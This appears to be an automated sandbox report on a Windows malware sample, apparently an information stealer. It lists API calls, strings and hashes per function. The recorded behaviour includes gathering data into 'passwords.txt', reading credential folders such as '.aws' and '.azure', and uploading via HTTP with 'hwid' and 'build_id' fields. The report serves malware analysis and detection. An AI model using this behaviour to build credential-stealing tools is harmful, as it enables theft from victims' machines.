Instruction Fuzzy Hash: 9881B471511108ABE715EB60DD59FFE777CAF25740F084134F606A22A1DF346A0ADB72

Function 002FBF30 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 286stringfilememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 00300B80: GetSystemTime.KERNEL32(?,02F46C20,003101E9,?,00000000,?,?,?,?,?,002F46E7,?,00000014), ref: 00300BA9

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002FBFD7
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002FC00B
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 002FC069
RtlAllocateHeap.NTDLL(00000000), ref: 002FC070
lstrlen.KERNEL32(00000000,00000000), ref: 002FC10C
lstrcat.KERNEL32(00000000,02F433A8), ref: 002FC123
lstrcat.KERNEL32(00000000,00000000), ref: 002FC133
lstrcat.KERNEL32(00000000,003134BC), ref: 002FC13F
lstrcat.KERNEL32(00000000,00000000), ref: 002FC14F

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 003010F0: memset.MSVCRT ref: 0030110A
Part of subcall function 003010F0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,?,002F727B,?), ref: 0030113D
Part of subcall function 003010F0: RtlAllocateHeap.NTDLL(00000000), ref: 00301144
Part of subcall function 003010F0: wsprintfW.USER32 ref: 00301153
Part of subcall function 003010F0: OpenProcess.KERNEL32(00001001,00000000), ref: 003011BB
Part of subcall function 003010F0: TerminateProcess.KERNEL32(00000000,00000000), ref: 003011CA
Part of subcall function 003010F0: CloseHandle.KERNEL32(00000000), ref: 003011D1

lstrcat.KERNEL32(00000000,003134B8), ref: 002FC15B
lstrcat.KERNEL32(00000000,02F43258), ref: 002FC169
lstrcat.KERNEL32(00000000,00000000), ref: 002FC179
lstrcat.KERNEL32(00000000,00313408), ref: 002FC185
lstrcat.KERNEL32(00000000,02F43348), ref: 002FC192
lstrcat.KERNEL32(00000000,00000000), ref: 002FC1A2
lstrcat.KERNEL32(00000000,00313408), ref: 002FC1AE
lstrcat.KERNEL32(00000000,02F45288), ref: 002FC1BC
lstrcat.KERNEL32(00000000,00000000), ref: 002FC1CC
lstrcat.KERNEL32(00000000,00313408), ref: 002FC1D8
lstrcat.KERNEL32(00000000,00313408), ref: 002FC1E4
lstrlen.KERNEL32(00000000), ref: 002FC211
DeleteFileA.KERNEL32(00000000), ref: 002FC275

Strings

passwords.txt, xrefs: 002FC21E

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$HeapProcess$Filelstrlen$AllocateCopy$CloseDeleteHandleOpenSystemTerminateTimememsetwsprintf
String ID: passwords.txt
API String ID: 1608474789-347816968
Opcode ID: 5bc452223e9c3a185eb19167d07096e59de2eed3cb226aa8b280067cfb77a3a9
Instruction ID: c84e2de02a85e8788919665564031d04e3c5f658302d1c3c4091010ec2d735da
Opcode Fuzzy Hash: 5bc452223e9c3a185eb19167d07096e59de2eed3cb226aa8b280067cfb77a3a9
Instruction Fuzzy Hash: 89A15471921109ABDB55EBA0DE5ADFE777CAF24381F048034F606A2291DF30AA19CF71

Function 002F7160 Relevance: 32.0, APIs: 21, Instructions: 482stringfilememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002FFA20: StrCmpCA.SHLWAPI(?,?,?,002F7177,02F433D8), ref: 002FFA2A

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002F725E
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 002F744B
RtlAllocateHeap.NTDLL(00000000), ref: 002F7452
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002F7292

Part of subcall function 002FF8A0: lstrlen.KERNEL32(002F5B05,00000000,?,?,002F5B05,003101E9), ref: 002FF8AB
Part of subcall function 002FF8A0: lstrcpy.KERNEL32(00000000,002F5B05), ref: 002FF8E2

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

lstrcat.KERNEL32(00000000,00000000), ref: 002F757D
lstrcat.KERNEL32(00000000,0031340C), ref: 002F7589
lstrcat.KERNEL32(00000000,00000000), ref: 002F7599
lstrcat.KERNEL32(00000000,0031340C), ref: 002F75A5
lstrcat.KERNEL32(00000000,00000000), ref: 002F75B5
lstrcat.KERNEL32(00000000,0031340C), ref: 002F75C1
lstrcat.KERNEL32(00000000,00000000), ref: 002F75D1
lstrcat.KERNEL32(00000000,0031340C), ref: 002F75DD
lstrcat.KERNEL32(00000000,00000000), ref: 002F75ED
lstrcat.KERNEL32(00000000,0031340C), ref: 002F75F9
lstrcat.KERNEL32(00000000,00000000), ref: 002F7609
lstrcat.KERNEL32(00000000,0031340C), ref: 002F7615
lstrcat.KERNEL32(00000000,00000000), ref: 002F7652
lstrcat.KERNEL32(00000000,00313408), ref: 002F7666
lstrlen.KERNEL32(00000000), ref: 002F76B3
lstrlen.KERNEL32(00000000), ref: 002F76BF

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

DeleteFileA.KERNEL32(00000000,?,003101E9), ref: 002F771A

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$File$CopyHeap$AllocateDeleteProcess
String ID:
API String ID: 510441641-0
Opcode ID: 474a11158c3446556901cfc1109250434c38e90c6a3345bac49900e91c8c69df
Instruction ID: 536727428ba6ce4b428de2cf4cb65aed2702428c88ec65f703220d34a27329fd
Opcode Fuzzy Hash: 474a11158c3446556901cfc1109250434c38e90c6a3345bac49900e91c8c69df
Instruction Fuzzy Hash: 8102507192010DABDB55EBA0DE56DFEB738AF24380F144138F60676291EF306A69CF61

Function 002F8DD0 Relevance: 31.9, APIs: 21, Instructions: 390stringfilememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 00300B80: GetSystemTime.KERNEL32(?,02F46C20,003101E9,?,00000000,?,?,?,?,?,002F46E7,?,00000014), ref: 00300BA9

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002F8E75
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002F8EAA
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 002F8FC9
lstrcat.KERNEL32(00000000,00000000), ref: 002F90F3
lstrcat.KERNEL32(00000000,0031340C), ref: 002F90FF
lstrcat.KERNEL32(00000000,00000000), ref: 002F910F
lstrcat.KERNEL32(00000000,0031340C), ref: 002F911B
lstrcat.KERNEL32(00000000,00000000), ref: 002F912B
lstrcat.KERNEL32(00000000,0031340C), ref: 002F9137
lstrcat.KERNEL32(00000000,00000000), ref: 002F9147
lstrcat.KERNEL32(00000000,0031340C), ref: 002F9153
lstrcat.KERNEL32(00000000,00000000), ref: 002F9163
lstrcat.KERNEL32(00000000,0031340C), ref: 002F916F
lstrcat.KERNEL32(00000000,00000000), ref: 002F917F
lstrcat.KERNEL32(00000000,0031340C), ref: 002F918B
lstrcat.KERNEL32(00000000,00000000), ref: 002F919B
lstrcat.KERNEL32(00000000,00313408), ref: 002F91A7
lstrlen.KERNEL32(00000000), ref: 002F91FC
lstrlen.KERNEL32(00000000), ref: 002F9208
RtlAllocateHeap.NTDLL(00000000), ref: 002F8FD0

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 003010F0: memset.MSVCRT ref: 0030110A
Part of subcall function 003010F0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,?,002F727B,?), ref: 0030113D
Part of subcall function 003010F0: RtlAllocateHeap.NTDLL(00000000), ref: 00301144
Part of subcall function 003010F0: wsprintfW.USER32 ref: 00301153
Part of subcall function 003010F0: OpenProcess.KERNEL32(00001001,00000000), ref: 003011BB
Part of subcall function 003010F0: TerminateProcess.KERNEL32(00000000,00000000), ref: 003011CA
Part of subcall function 003010F0: CloseHandle.KERNEL32(00000000), ref: 003011D1

DeleteFileA.KERNEL32(00000000), ref: 002F9263

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$HeapProcess$Filelstrlen$AllocateCopy$CloseDeleteHandleOpenSystemTerminateTimememsetwsprintf
String ID:
API String ID: 1608474789-0
Opcode ID: 6ec03ae5ccf6045ecd91f22e4afab628e0fb9540f65921fcae4cccb9fcca2abb
Instruction ID: f117f48558a072fef151fcf90083457a06bfc5f8898dc660bb85e37686b5b55a
Opcode Fuzzy Hash: 6ec03ae5ccf6045ecd91f22e4afab628e0fb9540f65921fcae4cccb9fcca2abb
Instruction Fuzzy Hash: B7D1417192010DABDB55EBB0DE56DFEB778AF24780F144138F60672291EF206A29CF61

Function 002F3E20 Relevance: 30.2, APIs: 13, Strings: 4, Instructions: 457networkfilestringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,?,00000001), ref: 002F3DA2
Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,00000400,?,00000001), ref: 002F3DAF
Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,00000400,00000400,?,00000001), ref: 002F3DBC
Part of subcall function 002F3D70: lstrlen.KERNEL32(00000000,00000000,0000003C,?,00000001), ref: 002F3DD6
Part of subcall function 002F3D70: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 002F3DE6

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 002F3EAC
StrCmpCA.SHLWAPI(?,02F43058), ref: 002F3EC7
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002F400D
HttpOpenRequestA.WININET(00000000,02F431B8,?,02F45FE0,00000000,00000000,-00400100,00000000), ref: 002F4048
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 002F406C

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

lstrlen.KERNEL32(00000000,00000000,?,?,?,?,003101E9,00000000,?,?,00000000,?,",00000000,?,build_id), ref: 002F42BD
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 002F42D6
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 002F42E7
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 002F42FE
InternetReadFile.WININET(00000000,00000000,000007CF,?), ref: 002F434A
InternetCloseHandle.WININET(00000000), ref: 002F4355
InternetCloseHandle.WININET(?), ref: 002F4367
InternetCloseHandle.WININET(00000000), ref: 002F4371

Strings

build_id, xrefs: 002F420A
------, xrefs: 002F3F32, 002F4072, 002F4181
hwid, xrefs: 002F40FA
", xrefs: 002F411C, 002F422C

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$FileHttpOpenReadRequestlstrcat$ConnectCrackOptionSend
String ID: "$------$build_id$hwid
API String ID: 1585128682-50533134
Opcode ID: c9e87b40f41453ca4e85ee456a0d7e26cb565f98182b8c2d08a7ce5adfb01ac0
Instruction ID: 66d5c86c308b6a05fdfd7308c52d057b0f4e6117791a434c22f45abf145b38e3
Opcode Fuzzy Hash: c9e87b40f41453ca4e85ee456a0d7e26cb565f98182b8c2d08a7ce5adfb01ac0
Instruction Fuzzy Hash: E3F1307292010CBEDB59EBA0DD92EFEB378AF14780F504179F61262191EF706A19CF64

Function 00309C90 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 74stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0030BE14,?,?,?,0030BE14,?), ref: 00309C99
StrCmpCA.SHLWAPI(?,0031457C,?,0030BE14,?), ref: 00309CCB
StrCmpCA.SHLWAPI(?,.zip,?,0030BE14,?), ref: 00309CDD
StrCmpCA.SHLWAPI(?,.zoo,?,0030BE14,?), ref: 00309CE9
StrCmpCA.SHLWAPI(?,.arc,?,0030BE14,?), ref: 00309CF5
StrCmpCA.SHLWAPI(?,.lzh,?,0030BE14,?), ref: 00309D01
StrCmpCA.SHLWAPI(?,.arj,?,0030BE14,?), ref: 00309D0D
StrCmpCA.SHLWAPI(?,.gz,?,0030BE14,?), ref: 00309D19
StrCmpCA.SHLWAPI(?,.tgz,?,0030BE14,?), ref: 00309D25

Strings

.zip, xrefs: 00309CD7
.arc, xrefs: 00309CEF
.arj, xrefs: 00309D07
.lzh, xrefs: 00309CFB
.tgz, xrefs: 00309D1F
.gz, xrefs: 00309D13
.zoo, xrefs: 00309CE3

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 79426d158269ac1a75057216027e42b1f439b61e721425fa445d98d74e7f4f49
Instruction ID: a5ebce8f0711d07bdd9195f916b5af77593c1a6db297e201cff3360823cb1914
Opcode Fuzzy Hash: 79426d158269ac1a75057216027e42b1f439b61e721425fa445d98d74e7f4f49
Instruction Fuzzy Hash: EF01E563A8362621FE2BB27D5D10FEF66CD4D87B9070B0122E514A50C2DB45C9C386B1

Function 00306350 Relevance: 27.1, APIs: 10, Strings: 8, Instructions: 121stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00306367

Part of subcall function 00300D50: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00300D81

lstrcat.KERNEL32(?,00000000), ref: 00306389
lstrcat.KERNEL32(?,\.azure\), ref: 003063A3

Part of subcall function 00305EA0: wsprintfA.USER32 ref: 00305EBC
Part of subcall function 00305EA0: FindFirstFileA.KERNEL32(?,?), ref: 00305ED3
Part of subcall function 00305EA0: StrCmpCA.SHLWAPI(?,003101DC), ref: 00305EFC
Part of subcall function 00305EA0: StrCmpCA.SHLWAPI(?,003101D8), ref: 00305F16
Part of subcall function 00305EA0: wsprintfA.USER32 ref: 00305F3B
Part of subcall function 00305EA0: StrCmpCA.SHLWAPI(?,003101E9), ref: 00305F4A
Part of subcall function 00305EA0: wsprintfA.USER32 ref: 00305F67
Part of subcall function 00305EA0: PathMatchSpecA.SHLWAPI(?,?), ref: 00305F97
Part of subcall function 00305EA0: lstrcat.KERNEL32(?,02F431A8), ref: 00305FC3
Part of subcall function 00305EA0: lstrcat.KERNEL32(?,003101E0), ref: 00305FD5
Part of subcall function 00305EA0: lstrcat.KERNEL32(?,?), ref: 00305FE3
Part of subcall function 00305EA0: lstrcat.KERNEL32(?,003101E0), ref: 00305FF5
Part of subcall function 00305EA0: lstrcat.KERNEL32(?,?), ref: 00306009

memset.MSVCRT ref: 003063E0
lstrcat.KERNEL32(?,00000000), ref: 00306408
lstrcat.KERNEL32(?,\.aws\), ref: 00306422

Part of subcall function 00305EA0: wsprintfA.USER32 ref: 00305F86
Part of subcall function 00305EA0: CopyFileA.KERNEL32(?,00000000,00000001), ref: 003060AA
Part of subcall function 00305EA0: DeleteFileA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,003101E9), ref: 00306119

memset.MSVCRT ref: 0030645F
lstrcat.KERNEL32(?,00000000), ref: 00306487
lstrcat.KERNEL32(?,\.IdentityService\), ref: 003064A1

Part of subcall function 00305EA0: FindNextFileA.KERNEL32(?,?), ref: 00306160
Part of subcall function 00305EA0: FindClose.KERNEL32(?), ref: 00306172

memset.MSVCRT ref: 003064DE

Strings

